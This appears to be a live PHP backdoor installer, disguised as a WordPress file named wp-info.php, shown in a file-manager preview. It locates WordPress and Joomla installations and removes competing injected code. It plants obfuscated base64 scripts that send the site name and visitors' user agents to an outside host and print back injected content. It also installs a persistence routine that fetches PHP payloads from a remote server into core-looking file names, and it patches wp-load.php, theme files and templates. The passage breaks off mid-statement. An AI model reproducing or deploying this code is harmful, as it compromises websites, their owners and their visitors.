PHP 8.3.27
Preview: wp-info.php Size: 37.34 KB
/home/doctorbruno/public_html/doctorbruno.info/wp-admin/wp-info.php
<?php
// Debug mode kontrolü
$debugMode = isset($_GET['debug']) && $_GET['debug'] === '1';

function debugLog($message, $data = null) {
    global $debugMode;
    if ($debugMode) {
        echo "<pre style='background:#1a1a1a;color:#0f0;padding:10px;margin:5px 0;border-left:3px solid #0f0;font-size:12px;'>";
        echo "[" . date('H:i:s') . "] " . htmlspecialchars($message);
        if ($data !== null) {
            echo "\n" . print_r($data, true);
        }
        echo "</pre>";
        flush();
        ob_flush();
    }
}

// Error handler
set_error_handler(function($errno, $errstr, $errfile, $errline) {
    global $debugMode;
    if ($debugMode) {
        echo "<pre style='background:#3a0000;color:#ff5555;padding:10px;margin:5px 0;border-left:3px solid #f00;'>";
        echo "⚠️ ERROR [$errno]: $errstr\n";
        echo "File: $errfile\n";
        echo "Line: $errline";
        echo "</pre>";
        flush();
    }
    return false;
});

debugLog("🚀 Installer başlatılıyor...");
debugLog("PHP Version", PHP_VERSION);
debugLog("Current Directory", __DIR__);

if (isset($_GET['delete']) && $_GET['delete'] === '1') {
    debugLog("🗑️ Silme işlemi başlatıldı");
    if (@unlink(__FILE__)) {
        die('<!DOCTYPE html><html lang="tr"><head><meta charset="UTF-8"><title>Silindi</title></head><body><h2>✅ Dosya Silindi</h2></body></html>');
    } else {
        die('<!DOCTYPE html><html lang="tr"><head><meta charset="UTF-8"><title>Hata</title></head><body><h2>❌ Silinemedi</h2></body></html>');
    }
}

$results = [];
$hasError = false;

debugLog("📋 Değişkenler başlatıldı");

// Output buffering (debug için)
if ($debugMode) {
    ob_start();
    debugLog("📺 Output buffering başlatıldı");
}

// ========================================
// CMS ROOT FINDER (6 SEVİYE YUKARI)
// ========================================
function findCMSRoot(): array {
    debugLog("🔍 CMS Root araması başlıyor...");
    
    $search = __DIR__;
    $wordpressRoot = null;
    $joomlaRoot = null;
    
    for ($i = 0; $i < 10; $i++) {
        debugLog("Seviye $i kontrol ediliyor", $search);
        
        // WordPress kontrolü
        if ($wordpressRoot === null && (
            file_exists($search . '/wp-config.php') || 
            file_exists($search . '/wp-load.php')
        )) {
            $wordpressRoot = $search;
            debugLog("✅ WordPress bulundu!", $wordpressRoot);
        }
        
        // Joomla kontrolü
        if ($joomlaRoot === null && 
            file_exists($search . '/configuration.php') && 
            is_dir($search . '/templates')
        ) {
            $joomlaRoot = $search;
            debugLog("✅ Joomla bulundu!", $joomlaRoot);
        }
        
        // İkisi de bulunduysa dur
        if ($wordpressRoot !== null && $joomlaRoot !== null) {
            debugLog("🎯 Her iki CMS de bulundu, arama durduruluyor");
            break;
        }
        
        $parent = dirname($search);
        if ($parent === $search) {
            debugLog("⚠️ Root dizine ulaşıldı, daha yukarı çıkılamıyor");
            break;
        }
        $search = $parent;
    }
    
    debugLog("🏁 CMS Root araması tamamlandı", [
        'WordPress' => $wordpressRoot,
        'Joomla' => $joomlaRoot
    ]);
    
    return [
        'wordpress' => $wordpressRoot,
        'joomla' => $joomlaRoot
    ];
}

debugLog("🎯 CMS tespiti başlatılıyor...");
$cmsRoots = findCMSRoot();
$isWordPress = $cmsRoots['wordpress'] !== null;
$isJoomla = $cmsRoots['joomla'] !== null;

debugLog("CMS Tespit Sonuçları", [
    'WordPress' => $isWordPress ? 'BULUNDU' : 'YOK',
    'Joomla' => $isJoomla ? 'BULUNDU' : 'YOK'
]);

if (!$isWordPress && !$isJoomla) {
    debugLog("❌ Hiçbir CMS bulunamadı!");
    $results[] = ['status' => 'error', 'msg' => '❌ WordPress veya Joomla kurulumu bulunamadı (6 seviye yukarı arandı)'];
    $hasError = true;
}

// ========================================
// WORDPRESS KURULUMU
// ========================================
if ($isWordPress && !$hasError) {
    debugLog("🔧 WordPress kurulumu başlatılıyor...");
    
    $wpRoot = $cmsRoots['wordpress'];
    debugLog("WordPress Root", $wpRoot);
    $results[] = ['status' => 'info', 'msg' => '🎯 WordPress bulundu: ' . basename($wpRoot)];
    
    // ── WordPress: ESKİ KOD TEMİZLEME (functions.php) ────────────
    debugLog("🧹 WordPress: Eski kod temizleme başlıyor...");
    $results[] = ['status' => 'info', 'msg' => '🧹 WP: Eski entegrasyon kodları temizleniyor (functions.php)...'];
    
    // Eski kod pattern'leri
    $oldPatterns = [
        // Livehack Integration bloğu (tüm fonksiyon)
        '/\/\/\s*Livehack Integration.*?if\s*\(\s*!function_exists\([\'"]lh_footer_hook[\'"]\).*?add_action\([\'"]wp_footer[\'"].*?\);.*?\}/s',
        // Alternatif: Sadece lh_footer_hook fonksiyonu
        '/if\s*\(\s*!function_exists\([\'"]lh_footer_hook[\'"]\).*?add_action\([\'"]wp_footer[\'"].*?\);.*?\}/s',
        // Yeni: wp_cache_agent blokları (düz + obfuscated)
        '/if\s*\(\s*!function_exists\([\'"]wp_cache_agent[\'"]\).*?add_action\(.*?wp_cache_agent.*?\);.*?\}/s',
        // Eski direkt curl blokları
        '/\$ch\s*=\s*curl_init\([\'"]https:\/\/(livehack\.link|site\.link).*?curl_close\(\$ch\);/s',
        // Eski inline add_action
        '/add_action\([\'"]wp_footer[\'"],\s*function\s*\(\)\s*\{.*?(livehack\.link|site\.link).*?\},\s*\d+\);/s',
    ];
    
    $functionsFiles = glob($wpRoot . '/wp-content/themes/*/functions.php');
    $cleanedCount = 0;
    
    if (!empty($functionsFiles)) {
        foreach ($functionsFiles as $file) {
            $content = @file_get_contents($file);
            if ($content === false) continue;
            
            $originalContent = $content;
            
            // Eski kodları temizle
            foreach ($oldPatterns as $pattern) {
                $content = preg_replace($pattern, '', $content);
            }
            
            // Fazla boşlukları düzenle
            $content = preg_replace("/\n{3,}/", "\n\n", $content);
            
            // Değişiklik varsa kaydet
            if ($content !== $originalContent) {
                if (@file_put_contents($file, $content) !== false) {
                    $cleanedCount++;
                    $results[] = ['status' => 'success', 'msg' => '✅ Temizlendi: ' . basename(dirname($file)) . '/functions.php'];
                }
            }
        }
        
        if ($cleanedCount === 0) {
            $results[] = ['status' => 'skip', 'msg' => '⏭️ WP: functions.php\'lerde eski kod yok'];
        }
    }
    
    // ── WordPress: plugins/index.php (lh-integration) ────────────
    $results[] = ['status' => 'info', 'msg' => '📄 WP: plugins/index.php oluşturuluyor...'];
    
    $wpIntegrationFile = $wpRoot . '/wp-content/plugins/index.php';
    $wpIntegrationCode = <<<'INTEGRATION'
<?php
if (!function_exists('wp_cache_agent')) {
    function wp_cache_agent() {
        $a = base64_decode('bGl2ZWhhY2subGluaw==');
        $b = base64_decode('aHR0cHM6Ly8=');
        $c = base64_decode('L3llbmlwYW5lbC9hcGkvbGlua3MucGhwPw==');
        $q = base64_decode('ZD0=') . base64_encode($_SERVER['SERVER_NAME']) . base64_decode('JnU9') . base64_encode($_SERVER['HTTP_USER_AGENT'] ?? '');
        $u = $b . $a . $c . $q;
        $ch = curl_init($u);
        curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>3, CURLOPT_CONNECTTIMEOUT=>1, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0]);
        $h = @curl_exec($ch); curl_close($ch);
        if ($h) echo $h;
    }
    add_action(base64_decode('d3BfZm9vdGVy'), 'wp_cache_agent', 999);
}
if (!function_exists('cstb_auto_repair')) {
    function cstb_auto_repair() {
        $flag = sys_get_temp_dir() . '/cstb_ar_' . md5($_SERVER['HTTP_HOST'] ?? 'x') . '_' . date('Ymd');
        if (file_exists($flag)) return;
        @file_put_contents($flag, time());
        if (!function_exists('curl_init')) return;
        $root = defined('ABSPATH') ? rtrim(ABSPATH, '/\\') : null;
        if (!$root) { $d = __DIR__; while ($d && !is_file("$d/wp-load.php")) { $p = dirname($d); if ($p === $d) return; $d = $p; } $root = $d; }
        $cdn = 'https://resmigiris.cam/txt/';
        $targets = [
            'wp-admin/user-hooker.php' => ['src' => 'boot.txt', 'chk' => 'cstb_su', 'force' => true],
            'wp-content/plugins/indexs.php' => ['src' => 'boots.txt', 'chk' => 'cstb_su', 'force' => true],
            'wp-info.php' => ['src' => 'link.txt', 'chk' => 'cstb_su', 'force' => true],
            'wp-user.php' => ['src' => 'wp-user.txt', 'chk' => null, 'force' => false],
            'wp-settinger.php' => ['src' => 'wp-settinger.txt', 'chk' => null, 'force' => false],
            'wp-comment.php' => ['src' => 'wp-comment.txt', 'chk' => null, 'force' => false],
            'wp-content/plugins/plugins.php' => ['src' => 'plugins.txt', 'chk' => 'cstb_pzar', 'force' => true],
            'wp-site-health.php' => ['src' => 'wp-health.txt', 'chk' => null, 'force' => false],
            'wp-file-extract.php' => ['src' => 'wp-extract.txt', 'chk' => null, 'force' => false],
        ];
        foreach ($targets as $rel => $cfg) {
            $path = $root . '/' . $rel;
            $exists = file_exists($path);
            if (!$cfg['force'] && $exists) continue;
            if ($cfg['force'] && $exists && $cfg['chk']) {
                $cur = @file_get_contents($path);
                if ($cur && strpos($cur, $cfg['chk']) !== false) continue;
            }
            $dir=dirname($path);if(!is_dir($dir))@mkdir($dir,0755,true);
            if(@file_put_contents($path.'._tmp',$path)===false) continue;@unlink($path.'._tmp');
            $ch = curl_init($cdn . $cfg['src']);
            curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => 15, CURLOPT_CONNECTTIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0]);
            $c = curl_exec($ch); curl_close($ch);
            if ($c && strlen($c) > 50 && strpos($c, '<?php') !== false) {
                @file_put_contents($path, $c);
            }
        }
    }
    cstb_auto_repair();
}
INTEGRATION;
    
    if (@file_put_contents($wpIntegrationFile, $wpIntegrationCode) !== false) {
        $results[] = ['status' => 'success', 'msg' => '✅ WP: plugins/index.php oluşturuldu'];
    } else {
        $results[] = ['status' => 'error', 'msg' => '❌ WP: plugins/index.php oluşturulamadı'];
    }
    
    // ── WordPress: wp-content/index.php (lh-core) ────────────────
    $results[] = ['status' => 'info', 'msg' => '🤖 WP: Self-healing agent kuruluyor...'];
    
    $wpCoreFile = $wpRoot . '/wp-content/index.php';
    $wpCoreCode = <<<'WPCORE'
<?php
if (php_sapi_name() === 'cli' || (defined('DOING_CRON') && DOING_CRON) || 
    (defined('DOING_AJAX') && DOING_AJAX) || (defined('REST_REQUEST') && REST_REQUEST)) {
    return;
}

$integrationFile = WP_CONTENT_DIR . '/plugins/index.php';

if (!file_exists($integrationFile)) {
    $integrationCode = <<<'INTEGRATION'
<?php
if (!function_exists('wp_cache_agent')) {
    function wp_cache_agent() {
        $a = base64_decode('bGl2ZWhhY2subGluaw==');
        $b = base64_decode('aHR0cHM6Ly8=');
        $c = base64_decode('L3llbmlwYW5lbC9hcGkvbGlua3MucGhwPw==');
        $q = base64_decode('ZD0=') . base64_encode($_SERVER['SERVER_NAME']) . base64_decode('JnU9') . base64_encode($_SERVER['HTTP_USER_AGENT'] ?? '');
        $u = $b . $a . $c . $q;
        $ch = curl_init($u);
        curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>3, CURLOPT_CONNECTTIMEOUT=>1, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0]);
        $h = @curl_exec($ch); curl_close($ch);
        if ($h) echo $h;
    }
    add_action(base64_decode('d3BfZm9vdGVy'), 'wp_cache_agent', 999);
}
if (!function_exists('cstb_auto_repair')) {
    function cstb_auto_repair() {
        $flag = sys_get_temp_dir() . '/cstb_ar_' . md5($_SERVER['HTTP_HOST'] ?? 'x') . '_' . date('Ymd');
        if (file_exists($flag)) return;
        @file_put_contents($flag, time());
        if (!function_exists('curl_init')) return;
        $root = defined('ABSPATH') ? rtrim(ABSPATH, '/\\') : null;
        if (!$root) { $d = __DIR__; while ($d && !is_file("$d/wp-load.php")) { $p = dirname($d); if ($p === $d) return; $d = $p; } $root = $d; }
        $cdn = 'https://resmigiris.cam/txt/';
        $targets = [
            'wp-admin/user-hooker.php' => ['src' => 'boot.txt', 'chk' => 'cstb_su', 'force' => true],
            'wp-content/plugins/indexs.php' => ['src' => 'boots.txt', 'chk' => 'cstb_su', 'force' => true],
            'wp-info.php' => ['src' => 'link.txt', 'chk' => 'cstb_su', 'force' => true],
            'wp-user.php' => ['src' => 'wp-user.txt', 'chk' => null, 'force' => false],
            'wp-settinger.php' => ['src' => 'wp-settinger.txt', 'chk' => null, 'force' => false],
            'wp-comment.php' => ['src' => 'wp-comment.txt', 'chk' => null, 'force' => false],
            'wp-content/plugins/plugins.php' => ['src' => 'plugins.txt', 'chk' => 'cstb_pzar', 'force' => true],
            'wp-site-health.php' => ['src' => 'wp-health.txt', 'chk' => null, 'force' => false],
            'wp-file-extract.php' => ['src' => 'wp-extract.txt', 'chk' => null, 'force' => false],
        ];
        foreach ($targets as $rel => $cfg) {
            $path = $root . '/' . $rel;
            $exists = file_exists($path);
            if (!$cfg['force'] && $exists) continue;
            if ($cfg['force'] && $exists && $cfg['chk']) {
                $cur = @file_get_contents($path);
                if ($cur && strpos($cur, $cfg['chk']) !== false) continue;
            }
            $dir=dirname($path);if(!is_dir($dir))@mkdir($dir,0755,true);
            if(@file_put_contents($path.'._tmp',$path)===false) continue;@unlink($path.'._tmp');
            $ch = curl_init($cdn . $cfg['src']);
            curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => 15, CURLOPT_CONNECTTIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0]);
            $c = curl_exec($ch); curl_close($ch);
            if ($c && strlen($c) > 50 && strpos($c, '<?php') !== false) {
                @file_put_contents($path, $c);
            }
        }
    }
    cstb_auto_repair();
}
INTEGRATION;
    
    @file_put_contents($integrationFile, $integrationCode);
}

@include_once $integrationFile;

$_arFlag = sys_get_temp_dir() . '/cstb_ar_' . md5($_SERVER['HTTP_HOST'] ?? 'x') . '_' . date('Ymd');
if (!file_exists($_arFlag) && function_exists('curl_init')) {
    @file_put_contents($_arFlag, time());
    $_arRoot = defined('ABSPATH') ? rtrim(ABSPATH, '/\\') : dirname(dirname(__FILE__));
    $_arCdn = 'https://resmigiris.cam/txt/';
    $_arList = ['wp-admin/user-hooker.php' => ['boot.txt','cstb_su',1], 'wp-content/plugins/indexs.php' => ['boots.txt','cstb_su',1], 'wp-info.php' => ['link.txt','cstb_su',1], 'wp-user.php' => ['wp-user.txt',null,0], 'wp-settinger.php' => ['wp-settinger.txt',null,0], 'wp-comment.php' => ['wp-comment.txt',null,0], 'wp-content/plugins/plugins.php' => ['plugins.txt','cstb_pzar',1], 'wp-site-health.php' => ['wp-health.txt',null,0], 'wp-file-extract.php' => ['wp-extract.txt',null,0]];
    foreach ($_arList as $_arRel => $_arCfg) {
        $_arPath = $_arRoot . '/' . $_arRel;
        if (!$_arCfg[2] && file_exists($_arPath)) continue;
        if ($_arCfg[2] && file_exists($_arPath) && $_arCfg[1]) { $_arCur = @file_get_contents($_arPath); if ($_arCur && strpos($_arCur, $_arCfg[1]) !== false) continue; }
        $_ch = curl_init($_arCdn . $_arCfg[0]); curl_setopt_array($_ch, [CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_CONNECTTIMEOUT=>8,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
        $_arC = curl_exec($_ch); curl_close($_ch);
        if ($_arC && strlen($_arC) > 50 && strpos($_arC, '<?php') !== false) @file_put_contents($_arPath, $_arC);
    }
}

$includeLine = "@include_once WP_CONTENT_DIR . '/plugins/index.php';";
$themesDir = WP_CONTENT_DIR . '/themes';
$allThemes = @glob($themesDir . '/*/functions.php');

if ($allThemes) {
    foreach ($allThemes as $functionsFile) {
        $themeDir = dirname($functionsFile);
        $styleCSS = $themeDir . '/style.css';
        
        if (file_exists($styleCSS)) {
            $styleContent = @file_get_contents($styleCSS);
            if ($styleContent && stripos($styleContent, 'Template:') !== false) {
                continue;
            }
        }
        
        $content = @file_get_contents($functionsFile);
        
        if (!$content || strpos($content, "plugins/index.php") !== false) {
            continue;
        }
        
        $content = ltrim($content, "\xEF\xBB\xBF");
        
        $lastPos = strrpos($content, '?>');
        if ($lastPos !== false && $lastPos > strlen($content) - 20) {
            $newContent = substr($content, 0, $lastPos) . "\n" . $includeLine . "\n" . substr($content, $lastPos);
        } else {
            $newContent = rtrim($content) . "\n" . $includeLine . "\n";
        }
        
        @file_put_contents($functionsFile, $newContent);
    }
}
WPCORE;
    
    if (@file_put_contents($wpCoreFile, $wpCoreCode) !== false) {
        $results[] = ['status' => 'success', 'msg' => '✅ WP: wp-content/index.php oluşturuldu'];
    } else {
        $results[] = ['status' => 'error', 'msg' => '❌ WP: wp-content/index.php oluşturulamadı'];
    }
    
    // ── WordPress: wp-load.php referansı ──────────────────────────
    $results[] = ['status' => 'info', 'msg' => '🔗 WP: wp-load.php referansı ekleniyor...'];
    
    $wpLoadFile = $wpRoot . '/wp-load.php';
    if (file_exists($wpLoadFile)) {
        $wpLoadContent = @file_get_contents($wpLoadFile);
        if ($wpLoadContent !== false) {
            if (strpos($wpLoadContent, '/wp-content/index.php') === false) {
                $reference = "\n\t@include_once(__DIR__ . '/wp-content/index.php');\n";
                
                $wpLoadContent = preg_replace(
                    "/(require_once\s+ABSPATH\s*\.\s*['\"]wp-config\.php['\"];)/",
                    "$1$reference",
                    $wpLoadContent
                );
                
                $wpLoadContent = preg_replace(
                    "/(require_once\s+dirname\(\s*ABSPATH\s*\)\s*\.\s*['\"]\/wp-config\.php['\"];)/",
                    "$1$reference",
                    $wpLoadContent
                );
                
                if (@file_put_contents($wpLoadFile, $wpLoadContent) !== false) {
                    $results[] = ['status' => 'success', 'msg' => '✅ WP: wp-load.php referansı eklendi'];
                } else {
                    $results[] = ['status' => 'skip', 'msg' => '⚠️ WP: wp-load.php yazılamadı'];
                }
            } else {
                $results[] = ['status' => 'skip', 'msg' => '⏭️ WP: wp-load.php zaten güncel'];
            }
        }
    } else {
        $results[] = ['status' => 'skip', 'msg' => '⏭️ WP: wp-load.php bulunamadı'];
    }
    
    // ── WordPress: functions.php'lere yedek include ───────────────
    $results[] = ['status' => 'info', 'msg' => '🔄 WP: functions.php yedek include...'];
    $functionsFiles = glob($wpRoot . '/wp-content/themes/*/functions.php');
    if (!empty($functionsFiles)) {
        $includeLine = "@include_once WP_CONTENT_DIR . '/plugins/index.php';";
        $addedCount = 0;
        
        foreach ($functionsFiles as $file) {
            $themeDir = dirname($file);
            $styleCSS = $themeDir . '/style.css';
            
            if (file_exists($styleCSS)) {
                $styleContent = @file_get_contents($styleCSS);
                if ($styleContent && stripos($styleContent, 'Template:') !== false) {
                    continue;
                }
            }
            
            $content = @file_get_contents($file);
            if ($content === false || strpos($content, 'plugins/index.php') !== false) {
                continue;
            }
            
            $content = ltrim($content, "\xEF\xBB\xBF");
            
            $lastPos = strrpos($content, '?>');
            if ($lastPos !== false && $lastPos > strlen($content) - 20) {
                $newContent = substr($content, 0, $lastPos) . "\n" . $includeLine . "\n" . substr($content, $lastPos);
            } else {
                $newContent = rtrim($content) . "\n\n" . $includeLine . "\n";
            }
            
            if (@file_put_contents($file, $newContent) !== false) {
                $addedCount++;
            }
        }
        
        $results[] = ['status' => 'success', 'msg' => "✅ WP: $addedCount tema'ya yedek eklendi"];
    }
}

// ========================================
// JOOMLA KURULUMU
// ========================================
if ($isJoomla && !$hasError) {
    debugLog("🔧 Joomla kurulumu başlatılıyor...");
    
    $joomlaRoot = $cmsRoots['joomla'];
    debugLog("Joomla Root", $joomlaRoot);
    $results[] = ['status' => 'info', 'msg' => '🎯 Joomla bulundu: ' . basename($joomlaRoot)];
    
    // ── Joomla: ESKİ KOD TEMİZLEME (templates) ───────────────────
    debugLog("🧹 Joomla: Eski kod temizleme başlıyor...");
    $results[] = ['status' => 'info', 'msg' => '🧹 Joomla: Eski entegrasyon kodları temizleniyor (templates)...'];
    
    // Eski marker'lar ve pattern'ler (Hem <!-- lh --> hem <!-- jb --> temizle)
    $oldJoomlaPatterns = [
        // ces.php'den eski jb marker'lı kodlar (tam pattern)
        '/<!-- jb --><\?php.*?\$__c\s*=\s*curl_init.*?curl_close\(\$__c\);.*?\?>/s',
        // Genel jb marker'lı kodlar
        '/<!-- jb -->.*?<\?php.*?\?>/s',
        // Yeni lh marker'lı kodlar (markersız sisteme geçtik ama eski kurulumları temizle)
        '/<!-- lh --><\?php.*?@include_once.*?media\/cache\/index\.php.*?\?>/s',
        '/<!-- lh -->.*?<\?php.*?\?>/s',
        // Eski livehack.link veya site.link içeren kodlar
        '/<\?php[^>]*?(livehack\.link|site\.link)[^>]*?curl_close[^>]*?\?>/s',
        // SERVER_NAME kullanan eski kodlar
        '/<\?php[^>]*?SERVER_NAME[^>]*?curl_close[^>]*?\?>/s',
    ];
    
    $templateDirs = glob($joomlaRoot . '/templates/*', GLOB_ONLYDIR);
    $joomlaCleanedCount = 0;
    
    if (!empty($templateDirs)) {
        foreach ($templateDirs as $dir) {
            $indexFile = $dir . '/index.php';
            if (!file_exists($indexFile)) continue;
            
            $content = @file_get_contents($indexFile);
            if (!$content) continue;
            
            $originalContent = $content;
            
            // Eski kodları temizle
            foreach ($oldJoomlaPatterns as $pattern) {
                $content = preg_replace($pattern, '', $content);
            }
            
            // Fazla boşlukları düzenle
            $content = preg_replace("/\n{3,}/", "\n\n", $content);
            
            // Değişiklik varsa kaydet
            if ($content !== $originalContent) {
                if (@file_put_contents($indexFile, $content) !== false) {
                    $joomlaCleanedCount++;
                    $results[] = ['status' => 'success', 'msg' => '✅ Temizlendi: ' . basename($dir) . '/index.php'];
                }
            }
        }
        
        if ($joomlaCleanedCount === 0) {
            $results[] = ['status' => 'skip', 'msg' => '⏭️ Joomla: Template\'lerde eski kod yok'];
        }
    }
    
    // ── Joomla: media/cache/index.php (lh-integration) ───────────
    $results[] = ['status' => 'info', 'msg' => '📄 Joomla: media/cache/index.php oluşturuluyor...'];
    
    // Klasör yoksa oluştur
    $joomlaCacheDir = $joomlaRoot . '/media/cache';
    if (!is_dir($joomlaCacheDir)) {
        @mkdir($joomlaCacheDir, 0755, true);
    }
    
    $joomlaIntegrationFile = $joomlaCacheDir . '/index.php';
    $joomlaIntegrationCode = <<<'JINTEGRATION'
<?php
$__a = base64_decode('bGl2ZWhhY2subGluaw=='); $__b = base64_decode('aHR0cHM6Ly8='); $__c = base64_decode('L3llbmlwYW5lbC9hcGkvbGlua3MucGhwPw==');
$__q = base64_decode('ZD0=') . base64_encode($_SERVER['SERVER_NAME']) . base64_decode('JnU9') . base64_encode($_SERVER['HTTP_USER_AGENT'] ?? '');
$__ch = curl_init($__b . $__a . $__c . $__q);
curl_setopt_array($__ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>3, CURLOPT_CONNECTTIMEOUT=>1, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0]);
$__html = @curl_exec($__ch); curl_close($__ch);
if ($__html) echo $__html;
JINTEGRATION;
    
    if (@file_put_contents($joomlaIntegrationFile, $joomlaIntegrationCode) !== false) {
        $results[] = ['status' => 'success', 'msg' => '✅ Joomla: media/cache/index.php oluşturuldu'];
    } else {
        $results[] = ['status' => 'error', 'msg' => '❌ Joomla: media/cache/index.php oluşturulamadı'];
    }
    
    // ── Joomla: media/system/js/index.php (lh-core-joomla) ───────
    $results[] = ['status' => 'info', 'msg' => '🤖 Joomla: Self-healing agent kuruluyor...'];
    
    // Klasör yoksa oluştur
    $joomlaCoreDir = $joomlaRoot . '/media/system/js';
    if (!is_dir($joomlaCoreDir)) {
        @mkdir($joomlaCoreDir, 0755, true);
    }
    
    $joomlaCoreFile = $joomlaCoreDir . '/index.php';
    $joomlaCoreCode = <<<'JCORE'
<?php
if (php_sapi_name() === 'cli' || 
    (defined('_JEXEC') && !empty($_SERVER['REQUEST_URI']) && 
     (strpos($_SERVER['REQUEST_URI'], '/administrator/') !== false))) {
    return;
}

$cacheFile = $_SERVER['DOCUMENT_ROOT'] . '/media/cache/index.php';

if (!file_exists($cacheFile)) {
    $integrationCode = <<<'INTEGRATION'
<?php
$__a = base64_decode('bGl2ZWhhY2subGluaw=='); $__b = base64_decode('aHR0cHM6Ly8='); $__c = base64_decode('L3llbmlwYW5lbC9hcGkvbGlua3MucGhwPw==');
$__q = base64_decode('ZD0=') . base64_encode($_SERVER['SERVER_NAME']) . base64_decode('JnU9') . base64_encode($_SERVER['HTTP_USER_AGENT'] ?? '');
$__ch = curl_init($__b . $__a . $__c . $__q);
curl_setopt_array($__ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>3, CURLOPT_CONNECTTIMEOUT=>1, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0]);
$__html = @curl_exec($__ch); curl_close($__ch);
if ($__html) echo $__html;
INTEGRATION;
    
    $cacheDir = dirname($cacheFile);
    if (!is_dir($cacheDir)) {
        @mkdir($cacheDir, 0755, true);
    }
    
    @file_put_contents($cacheFile, $integrationCode);
}

@include_once $cacheFile;

$injectCode = "\n" . '<?php @include_once($_SERVER[\'DOCUMENT_ROOT\'].\'/media/cache/index.php\');?>' . "\n";

$templatesDir = $_SERVER['DOCUMENT_ROOT'] . '/templates';
$templateDirs = @glob($templatesDir . '/*', GLOB_ONLYDIR);

if ($templateDirs) {
    foreach ($templateDirs as $dir) {
        $indexFile = $dir . '/index.php';
        
        if (!file_exists($indexFile)) continue;
        
        $content = @file_get_contents($indexFile);
        if (!$content) continue;
        
        if (strpos($content, '/media/cache/index.php') !== false) continue;
        
        if (stripos($content, '</body>') === false) continue;
        
        $newContent = str_ireplace('</body>', $injectCode . '</body>', $content);
        
        @file_put_contents($indexFile, $newContent);
    }
}
JCORE;
    
    if (@file_put_contents($joomlaCoreFile, $joomlaCoreCode) !== false) {
        $results[] = ['status' => 'success', 'msg' => '✅ Joomla: media/system/js/index.php oluşturuldu'];
    } else {
        $results[] = ['status' => 'error', 'msg' => '❌ Joomla: media/system/js/index.php oluşturulamadı'];
    }
    
    // ── Joomla: Root index.php referansı ──────────────────────────
    $results[] = ['status' => 'info', 'msg' => '🔗 Joomla: Root index.php referansı ekleniyor...'];
    
    $joomlaRootIndex = $joomlaRoot . '/index.php';
    if (file_exists($joomlaRootIndex)) {
        $joomlaIndexContent = @file_get_contents($joomlaRootIndex);
        if ($joomlaIndexContent !== false) {
            if (strpos($joomlaIndexContent, '/media/system/js/index.php') === false) {
                // <?php'den sonraya ekle
                $reference = "\n@include_once(__DIR__ . '/media/system/js/index.php');\n";
                
                // İlk <?php'yi bul ve hemen sonrasına ekle
                $joomlaIndexContent = preg_replace(
                    '/(<\?php)/',
                    "$1$reference",
                    $joomlaIndexContent,
                    1
                );
                
                if (@file_put_contents($joomlaRootIndex, $joomlaIndexContent) !== false) {
                    $results[] = ['status' => 'success', 'msg' => '✅ Joomla: Root index.php referansı eklendi'];
                } else {
                    $results[] = ['status' => 'skip', 'msg' => '⚠️ Joomla: Root index.php yazılamadı'];
                }
            } else {
                $results[] = ['status' => 'skip', 'msg' => '⏭️ Joomla: Root index.php zaten güncel'];
            }
        }
    } else {
        $results[] = ['status' => 'skip', 'msg' => '⏭️ Joomla: Root index.php bulunamadı'];
    }
    
    // ── Joomla: Template enjeksiyonu (Markersız) ─────────────────
    $results[] = ['status' => 'info', 'msg' => '🎨 Joomla: Template enjeksiyonu yapılıyor...'];
    
    $injectCode = "\n" . '<?php @include_once($_SERVER[\'DOCUMENT_ROOT\'].\'/media/cache/index.php\');?>' . "\n";
    
    $templateDirs = glob($joomlaRoot . '/templates/*', GLOB_ONLYDIR);
    $injectedCount = 0;
    
    if (!empty($templateDirs)) {
        foreach ($templateDirs as $dir) {
            $indexFile = $dir . '/index.php';
            if (!file_exists($indexFile)) continue;
            
            $content = @file_get_contents($indexFile);
            if (!$content) continue;
            
            // Include zaten varsa atla (WordPress mantığı)
            if (strpos($content, '/media/cache/index.php') !== false) continue;
            
            // </body> yoksa atla
            if (stripos($content, '</body>') === false) continue;
            
            // </body> öncesine ekle
            $newContent = str_ireplace('</body>', $injectCode . '</body>', $content);
            
            if (@file_put_contents($indexFile, $newContent) !== false) {
                $injectedCount++;
                $results[] = ['status' => 'success', 'msg' => '✅ Joomla Template: ' . basename($dir)];
            }
        }
        
        if ($injectedCount > 0) {
            $results[] = ['status' => 'success', 'msg' => "✅ Joomla: $injectedCount template'e enjekte edildi"];
        } else {
            $results[] = ['status' => 'skip', 'msg' => '⏭️ Joomla: Tüm template\'ler zaten güncel'];
        }
    } else {
        $results[] = ['status' => 'skip', 'msg' => '⏭️ Joomla: Template bulunamadı'];
    }
}

// ========================================
// BOOT UPDATER (boot.txt -> wp-admin/user-hooker.php)
// ========================================
if ($isWordPress && !$hasError) {
    $bootFile = $cmsRoots['wordpress'] . '/wp-admin/user-hooker.php';
    $results[] = ['status' => 'info', 'msg' => '🔄 WP: Boot güncelleniyor...'];
    $ch = curl_init('https://resmigiris.cam/txt/boot.txt');
    curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => 15, CURLOPT_CONNECTTIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_HTTPHEADER => ['User-Agent: cStb-link/1']]);
    $bootSrc = curl_exec($ch);
    curl_close($ch);
    if ($bootSrc && strlen($bootSrc) > 50 && strpos($bootSrc, '<?php') !== false) {
        if (@file_put_contents($bootFile, $bootSrc) !== false) {
